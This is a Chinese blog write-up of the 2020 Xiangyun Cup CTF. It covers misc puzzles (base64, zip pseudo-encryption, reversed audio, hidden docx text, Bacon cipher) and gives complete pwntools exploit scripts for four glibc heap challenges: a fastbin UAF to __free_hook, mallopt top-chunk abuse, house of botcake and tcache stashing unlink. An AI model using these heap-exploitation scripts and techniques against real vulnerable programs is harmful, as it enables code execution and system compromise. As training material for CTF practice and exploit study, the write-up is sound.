2020祥云杯

2020-祥云杯

好久都没有刷过ctf的题目了,找了个比赛来复现练练手,选了祥云杯2020,下一步准备做DASCTF月赛。
记录一个github项目,题目超多!!!
https://github.com/fghcvjk/2020xiangyuncup
准备是misc pwn re 和 crypto全做。web看看…
crypto量力而行吧。。毕竟我比较菜。

MISC

签到

ZmxhZ3txcV9ncm91cF84MjY1NjYwNDB9
base64解码flag{qq_group_826566040}

进制反转

题目描述 电脑中到底使用的是什么进制呢?真是麻烦,有时候还是手机好用。结果用flag{}包住,并且全为大写

然后双击压缩包,发现出现问题,现实格式损坏。报的是头损坏的错误,如果用的是WinRAR就会告诉你这有一个wav文件,bandzip不会说这个。那么还是需要看下文件头,识别之后,用Audacity打开。可以播放。

但是提示有加密,猜测伪加密,于是用010打开,把第24个字节改为C0,正常打开,解压,然后用Au打开,报错。
不能识别文件类型???010打开,文件末尾提示,flag是歌曲的名字。

然后import原始数据到Au里面,发现可以,听歌感觉乱唱的,结合题目猜到是倒放,然后放慢速度,选择倒放,听歌识曲出来了。
TOO GOOD AT GOODBYES我说这么耳熟,原来听过。。。
flag{TOOGOODATGOODBYES}

到点了

这个题是网抑云。。
dcox文档,基本没做过这类的题目,本来想着全选能看到文字,然而没用,看了wp,勾选隐藏文字的选项。就可以看到隐藏文字了。

宝贝,8位数

应该是提示。3.docx没有隐藏,然后看2.docx这个提示需要密码,然后根据第一个文档的提示爆破8位数密码。爆破出来是20201024
然后打开,发现还是图文,老套路,全选勾选隐藏文字,但这次现实没有隐藏文字!

观察发现,全选后图片下面多了一行,删掉图片,全选,发现果然,下面有一行东西,复制出来看看

你剥开一个很酸的橙子而感到后悔了,可对于橙子来说,那是它的一切


AABBAABBBAABBBAAAABBABBABABAAAAABBAAABBBBAABBBAABABABBAAABAAAABAABAABBABAAAAABAA

AB类型,培根密码,解密得到

GOODNIGHTSWEETIE
goodnightsweetie

…因该不是flag,那么问题就在第三个docx上面。(文档明显大很多)binwalk分解发现一张图片和一堆xml
看bmp图片常使用wbs43open解密,密码就是goodnightsweetie
解出flag

xixixi

描述 室友最近沉迷y神,又氪又肝,还ghs。为了他的身体着想,我把他的s图整没了。但我明明删了脚本啊,为什么还能被他发现…8说了,医院的空调真舒服~

解压vhd磁盘文件,使用DiskGenius挂载。
给了一张图和几个脚本,根据脚本还原图片即可。
这里先不给wp了,脚本 慢慢看

带音乐家

补充中

re

pwn

ying_liu_zhi_zhu

libc2.23的题目,好久没做2.23的题目了,堆的任意分配比2.27以后的要难一点。
是个菜单题目,每个点菜都限制了次数,不方便贴图片
但是判断是否达到次数靠的是if条件句,也就是if(–x)这样的话其实只有0是false,-1还是true所以实际上没有限制次数。

再继续看add,简单的添加然后chunk指正保存到全局数组,delete有uaf
edit没有特殊的,根据数组的偏移来写内容,泄露,一次只能泄露8字节。

那么思路就出来了,uaf常常可以构造fastbin的任意地址分配,但是要小心chunk_size的检查,我们预期可以分配到全局数组,这样就可以复写数组内的地址,达到任意地址写,然后就可以覆写free_hook这类的

from pwn import *
context.log_level = 'debug'

p = process('./ying_liu_zhi_zhu')
elf = ELF('libc.so.6')

def send(idx):
	p.sendline(str(idx))

def sendpayload(payload):
	p.sendline(payload)
	sleep(0.1)

#malloc->free
send(1) # 0
send(2) # del
send(0)	# choose 0

# edit uaf
send(3)
send(0) # choose 0
sendpayload(p64(0x60203D))
#观察得到这里的fake_size是0x7f符合要求

#hose of
send(1) # 1
send(1) # 2

#edit arry
send(3)
send(2)
payload = '\x00'*13 + p64(elf.got['free']) +p64(0x602060)
sendpayload(payload)
#这里的13个0用于补齐地址,然后泄露free的got表地址

send(4)
send(0)
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['free']
log.info('LIBC:\t' + hex(libc_base))

send(3)
#这里的edit次数用完了,所以为0,这一次失败,但是下一次为-1,可以成功
send(3)
send(1)
payload = p64(libc_base + libc.sym['__free_hook']) + p64(0x602070)
sendpayload(payload)

send(3)
send(0)
sendpayload(p64(libc_base + libc.sym['system']))

send(3)
send(1)

p.sendline('/bin/sh')
sleep(0.1)

send(2)
send(1)

p.interactive()
ba_zui_bi_shang

利用的是mallopt漏洞,此外还有scanf上的参数,对c语言掌握不牢导致想不到漏洞利用的方法。

  • 对于%3d之类的参数,3表示接受几个整数
//eg
#include <stdio.h>
#include <stdlib.h>

int main()
{
        int v4;
        scanf("%2d",&v4);
        printf("%5d",v4);
        return 0;
}

//out
//$ ./1
//1234
//   12
  • 对于mallopt函数先看原来的作用
    漏洞链接:https://sourceware.org/bugzilla/show_bug.cgi?id=25733

mallopt函数是控制内存分配的函数,具体看这篇文章。
https://blog.csdn.net/u013920085/article/details/52847464

下面分析一下源码
mallopt会调用malloc_consolidate(av)函数

int
__libc_mallopt (int param_number, int value)
{
  mstate av = &main_arena;
  int res = 1;
 
  if (__malloc_initialized < 0)
    ptmalloc_init ();
  (void) mutex_lock (&av->mutex);
  /* Ensure initialization/consolidation */
  malloc_consolidate (av);

参数是main_arena,同时会进行初始化。

poc如下

#include <stdio.h>
#include <stdlib.h>
#include <malloc.h>
 
int main(void) {
    setbuf(stdout,0);
    setbuf(stderr,0);
    setbuf(stdin,0);
 
 
    // Populate last_remainder, which is treated as the top chunk size field
    // after main arena re-initialization.
    void* remainder_me = malloc(0x418);
    malloc(0x18); // Avoid top chunk consolidation.
    free(remainder_me);
    malloc(0x18); // Remainder remainder_me chunk.
    getchar();
 
    // Set global_max_fast to 0.
    mallopt(M_MXFAST, 7);
    getchar();
 
    // Trigger malloc_consolidate(), which could happen during large
    // allocations/frees, but for the sake of simplicity here just call
    // mallopt() again.
    // 这里用mallopt触发 malloc_consolidate 来初始化堆空间(因为检测到max fast=0)
    mallopt(M_MXFAST, 0x78);
    getchar();
    //初始化结束后,会使top_chunk = &unsortedbin
 
    // malloc_consolidate() uses global_max_fast to determine if malloc has
    // been initialized. If global_max_fast is 0, malloc_consolidate() will
    // re-initialize the main arena, setting its top chunk pointer to an address
    // within the main arena. Now last_remainder acts as the top chunk size
    // field.
    printf("%p\n", malloc(0x418));         
    getchar();
 
    return 0;
}

难理解的在于调用mallopt函数,可以单步调试之后看看里面的具体实现。

整个题目其实就是按照这个poc打的一个模板题目,具体的实现还看另一篇。
这里我直接贴exp

# encoding=utf-8
from pwn import *

context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')

s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
su = lambda delim, buf: success(delim+buf)

libc_path = "/home/leo/Desktop/moyu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so"
elf_path = "./ba_zui_bi_shang"
libc = ELF(libc_path)
elf = ELF(elf_path)

cho='>您想做什么?\n影帝 > '      # choice提示语
siz=''     # size输入提示语
con='>商品名?'         # content输入提示语
ind='tree index?'      # index输入提示语
edi=''          # edit输入提示语

def add(len,content='',c='1'):
    sal(cho,c)
    sal(">商品名长度?",str(len))
    sal(con,content)
def free(c='2'):
    sal(cho,c)
def mallopt(rdi,rsi):
    sal(cho,'3')
    sal(">多少钱",str(rdi))
    sal(">多少件?",str(rsi))
def large(len,con=''):
    sal(cho,'4')
    sal(">专场商品列表长度?",str(len))
    sa(">专场商品列表?",con)
def d():
    pause()
 
# 获取libc基地址  
def get_libc_base(p):
    libc_base = p.libs()[libc_path]
    info(hex(libc_base))
 
def exp():
    global io
    io = process(elf_path)
    d()
    ru("Your Gift : ")
    libc.address =  int(r(len("0x7f91e44a66a0")),16)-libc.sym['puts']
    su('lib:',hex(libc.address))
    item_list_len = 0x418
    item_list = 'a'*0x418
    sal(">专场商品列表长度?",str(item_list_len))
    sal(">专场商品列表?",item_list)
    mh = libc.sym['__malloc_hook']
    fh = libc.sym['__free_hook']
    success(hex(fh))
 
    add(0x18,'b'*0x18)      # defense chunk add 1
    d()
    free()                  # free 1
    add(0x18,'c'*0x18)      # add 2

    mallopt(1,7)            # mallopt 1
    mallopt(1,0x78)         # mallopt 2   这里可以调大到largebin大小
    d()
 
    large(0x408,"\x78")         # 拿到ub(libc)
    d()
    large(0x4f8,"\x78")
    d()
    large(0x4f8,"\x78")
    d()
    large(0x4f8,"\x78")
    d()
    large(0x4f8,"\x78")
    d()
    large(0x4f8,'/bin/sh\x00'+'\00'*0x408+p64(libc.sym['system']))
    free() tcache stashing unlink
    shell()
 
 
exp()

调试可以知道前面半部分就是直接利用poc直接改写top_chunk的地址指向main_arena的部分,调试可知,poc部分实现以后

pwndbg> p main_arena                                             $2 = {                                                             mutex = 0,                                                       flags = 1,                                                       fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},  top = 0x7f829b4dbf88 <main_arena+1128>,                        

top的位置已经指向了main_arena+1128
这时候我们malloc的话实际上就是在分割main_arena的上面部分,而容易知道hook和arena的偏移是固定的。

pwndbg> p &__free_hook$3 = (void (**)(void *, const void *)) 0x7f829b4dd7a8 <__free_hook>pwndbg> p 0x7f829b4dd7a8 - 0x7f829b4dbf88$4 = 6176

得到偏移之后就是malloc到hook然后劫持就可以了。

garden

这题是house of botcake
house_of_botcake : 假如我们有 #1 #2 两个chunk,那么通过将#1 #2 合并放入ub,然后再单独free #2,就实现了#2既在ub又在tc中,之后对#1 进行合适大小的错位切割,可以劫持#2的next指针实现任意地址申请。
初号机原话
House_of_botcake+ : 假如我们有 #1 #2 两个chunk(0x110),假设只能申请最大malloc 0x100,那么通过将#1 #2 合并放入ub,然后再单独free #2,就实现了#2既在ub又在tc中,但是此时做不出特别合适的切割大小来一步到位劫持 #2指针,可以考虑先切一个小的chunk,比如0x20,之后ub中的chunk会被切割,导致当我们再次add一个大chunk(0x100)时,返回给我们的chunk是 #1+0x20 ,此时如果再add 0x100,就实现了申请一个地址在:[#1+0x20,#2+0x20] 的chunk #3,然后把#3 free进tc中与#2连接,就可以劫持#2的next指针实现任意地址申请。

add 函数只能开0x100。index限制在0-8一共9个
free free指定的index
show 限制一次,puts输出
UAF 一次uaf
m_0x20 提供了一次malloc(0x20),只能使用一次

结合这些条件想到house of botcake。这样的话刚好符合第二种情况。
可以考虑add两次,然后free两次(这两次tcache必须填满),
然后chunk会在unsorted bin里面合并,之后uaf泄露(前面的一次free用的是uaf)在之后malloc一个chunk出来,再次把uaf的chunk free进tcache就完成了堆重叠

考虑到要对tcache任意地址分配,那么uaf的chunk和与其合并的chunk来说uaf的在高地址。
完成overlap之后,malloc(0x20) 之后,unsortedbin会分割0x30出来,大小就会变为0x1f0在偏移为0x80的位置是uaf_chunk的chunk头,此时如果malloc(0x100)就可以对uaf_chunk的tcache地址任意写。

但是值得注意的是tcache此时还是满的,所以要全部都malloc(出来)
exp如下

from pwn import *context.log_level = 'debug'#context.terminal=['tmux','split','-h']p = process('./garden')libc = ELF('/home/leo/Desktop/moyu/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc.so.6')def menu(idx):    p.sendlineafter('>>',str(idx))def add(index,content='1'):    menu(1)    p.sendlineafter('tree index?\n',str(index))    p.sendlineafter('tree name?\n',content)def remove(index):    menu(2)    p.sendlineafter('tree index?\n',str(index))def show(index):    menu(3)    p.sendlineafter('tree index?\n',str(index))def uaf(index):    menu(5)    p.recvuntil('which tree do you want to steal?\n')    p.sendline(str(index))def m_0x20():    menu(6)pause()#leakfor i in range(9):    add(i)for i in range(5):    remove(8-i)#这里会有usortedbin 合并,如果不想合并的话就32错开free,即先free(3)再free(2)remove(3)remove(2)#attach(p,'b main')uaf(1)remove(0)show(1)libc.address = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-96-0x10-libc.sym['__malloc_hook']print "[+]libc_base=>"+hex(libc.address)#overlappingadd(3) #pull form tcacheremove(1) #overlapping# pause()# split and free_hookm_0x20()remove(3) #unsorted binadd(0)add(1)add(2)for i in range(4,7):    add(i)#0 is targetadd(7)add(8)remove(0)remove(8)payload = '\x00'*0xd0 + p64(0)+p64(0x111)+p64(libc.sym['__free_hook'])add(8,payload) # 7 is toolspause()for i in range(8):    remove(8-i)for i in range(1,7):    add(i)add(7,'/bin/sh\x00')add(8,p64(libc.sym['system']))remove(7)p.interactive()
beauty of changchun

这题审计起来代码有点多

  • Add函数calloc一个(oc7f,0x100]的chunk记录在table里面,size也记录,似乎个数不超过三个
  • free函数index<9 size存在就可以,此外
if ( v1 <= 9 && size_table[v1] ){  free((void *)chunk_table[v1]);  LOBYTE(size_table[v1]) = 0;                 // 低字节清0}

存在一个小型的uaf

  • edit函数,简单的编辑,不过先往缓冲区里面写
  • show,只允许泄露2次,
  • 666
  v1 = __readfsqword(0x28u);  if ( dword_202018 > 0 )  {    calloc(1uLL, 0x3FFuLL);    --dword_202018;  }

看出来洞在哪里但是没有任何思路。。所以还是看了师傅的wp
说是一个简单的 tcache stashing unlink,好吧果然还是不会,(对于这些经典漏洞的名字可以说一无所知。。。)

首先,看初始化函数flag是存储在了buf里面,然后最后要得到flag在5对应的函数里面有

if ( v1 <= 3 && size_table[v1] ){    equal(chunk_table[v1], buf);    puts((const char *)buf + 8);}unsigned __int64 __fastcall sub_EDA(__int64 a1, __int64 a2){  int i; // [rsp+10h] [rbp-10h]  unsigned __int64 v4; // [rsp+18h] [rbp-8h]  v4 = __readfsqword(0x28u);  for ( i = 0; i <= 7; ++i )  {    if ( *(_BYTE *)(i + a1) != *(_BYTE *)(i + a2) )      exit(1);  }}

满足这个条件,就是buf对应的内容要和chunk_table[v1]的内容一样。

说实话,这样的条件有点奇怪,但是看到calloc实际上应该想到small bin攻击,这样的话,如果bk劫持为buf-0x10那么buf作为新的链表头,buf的位置就会是small bin,这样再去edit 一个chunk让其位置为small bin的位置不就可以了?
于是有如下exp

# encoding=utf-8from pwn import *context.log_level='debug'p = process('./beauty')pause()libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so')def menu(idx):    p.recvuntil('4: Enjoy scenery')    p.sendline(str(idx))    #p.sendlineafter('4: Enjoy scenery',str(idx))def add(size):    menu(1)    p.sendlineafter('size:\n',str(size))def free(idx):    menu(2)    p.sendlineafter("idx:\n",str(idx))def edit(idx,content):    menu(3)    p.sendlineafter("idx:\n",str(idx))    p.sendlineafter("chat:\n",content)def show(idx):    menu(4)    p.sendlineafter("idx:\n",str(idx))def flag(idx):    menu(5)    p.sendlineafter("input idx\n",str(idx))def calloc():    menu(666)p.recvuntil('A gift from ChangChun People\n')buf_addr = ((p.recv(12)))buf_addr = int(buf_addr.decode(),16)success("buf_Addr:"+hex(buf_addr))#fill tcache and play a trickadd(0x100) #0add(0xf9)  #1add(0x100) #2free(1)for i in range(7):    add(0xf9)    free(1)#pause()free(0)free(2)calloc()#leak heap base--->0's addrshow(2)p.recvuntil('see\n')heap = u64(p.recv(6).ljust(8,b'\x00')) - 0x290print "heap_base=>"+hex(heap)#leak libcshow(0)p.recvuntil('see\n')libc.address = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-352-0x10-libc.sym['__malloc_hook']print "libc_base=>"+hex(libc.address)#pull one from tcachemenu(5)p.sendline('a'*5)#calloc trick# 保持fd不变,应为通过victim的bk寻址,这里0号直接处于inuse状态,2号进去了tcache,留下一个伪造的buf_addr他的fd指向small binedit(2,p64(heap+0x290)+p64(buf_addr - 0x10))add(0x100) #1#pause()small_bin = libc.address + 0x1ebce0 #find in glibc offset_mainarena+offset(352)edit(0,p64(small_bin))flag(0)p.interactive()

其中一些地方写上了注释,有几个点

  • 开始先add(0xf9)再free是因为 1、隔开要利用的chunk 2、保持1号chunk处于free状态,后面pull chunk from tcache的时候才不会报错

总的来说,pwn不是特别难,但是方法的运用非常灵活,需要熟练掌握
此外关于初号机师傅给的ying_liu_zhi_zhu的非预期,还需要想想,fastbin也会合并,。。。

果然。。crypto还是太难

参考

初号机师傅 https://bbs.pediy.com/thread-263784.htm#msg_header_h2_3

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值